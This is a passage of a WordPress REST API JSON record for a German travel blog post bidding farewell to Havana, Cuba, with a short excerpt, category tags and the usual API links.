Hauptstadt Kubas zeigte sich bei strahlendem Sonnenschein noch einmal von seiner besten Seite. &hellip; <a href=\"https:\/\/karnoll.de\/?p=2168\" class=\"more-link\"><span class=\"screen-reader-text\">Abschied von Havanna\/ Kuba<\/span> weiterlesen <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4,7,16],"tags":[],"class_list":["post-2168","post","type-post","status-publish","format-standard","hentry","category-karnoll-fulda","category-karnolls-on-tour","category-kuba-2015"],"_links":{"self":[{"href":"https:\/\/karnoll.de\/index.php?rest_route=\/wp\/v2\/posts\/2168","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/karnoll.de\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/karnoll.de\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/karnoll.de\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/karnoll.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=2168"}],"version-history":[{"count":3,"href":"https:\/\/karnoll.de\/index.php?rest_route=\/wp\/v2\/posts\/2168\/revisions"}],"predecessor-version":[{"id":4499,"href":"https:\/\/karnoll.de\/index.php?rest_route=\/wp\/v2\/posts\/2168\/revisions\/4499"}],"wp:attachment":[{"href":"https:\/\/karnoll.de\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=2168"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/karnoll.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=2168"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/karnoll.de\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=2168"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}